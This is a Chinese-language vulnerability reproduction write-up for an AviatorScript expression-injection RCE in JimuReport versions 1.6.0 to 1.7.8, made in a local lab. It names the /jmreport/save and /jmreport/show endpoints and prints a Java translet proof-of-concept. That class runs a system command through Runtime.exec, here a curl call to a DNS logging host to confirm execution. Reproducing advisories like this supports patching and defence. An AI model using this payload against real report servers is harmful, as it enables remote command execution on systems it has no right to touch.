漏洞信息

影响组件：JimuReport积木报表

影响版本：v1.6.0 ＜ JimuReport ≤ 1.7.8

漏洞名称：AviatorScript表达式注入漏洞

漏洞链接：积木报表软件存在AviatorScript代码注入RCE漏洞 · Issue #2848

漏洞描述：

积木报表软件存在AviatorScript代码注入RCE漏洞

使用接口/jmreport/save处在text中写入AviatorScript表达式访问/jmreport/show触发AviatorScript解析从而导致命令执行。

漏洞复现

环境搭建

使用积木报表v1.7.8复现，下载链接：Release v1.7.8 · jeecgboot/JimuReport

用idea打开，使用maven下载依赖之后，运行com.jeecg.modules.JimuReportApplication

访问http://192.168.171.1:8085/，搭建成功：

poc复现

反编译poc里的字节码，可以看到是调用Runtime.getRuntime.exec来执行系统命令启动计算器：

发送poc，可以看到成功调用了计算器

DNSLog验证

使用https://dnslog.org/获得一个域名：

jeecg.e7b700c1.log.dnslog.biz.

编写poc：

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;public class test1 extends AbstractTranslet {public test1() {}public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}static {try {Runtime.getRuntime().exec("curl jeecg.e7b700c1.log.dnslog.biz.");} catch (IOException var1) {throw new RuntimeException(var1);}}
}

javac编译，然后base64编码字节码：
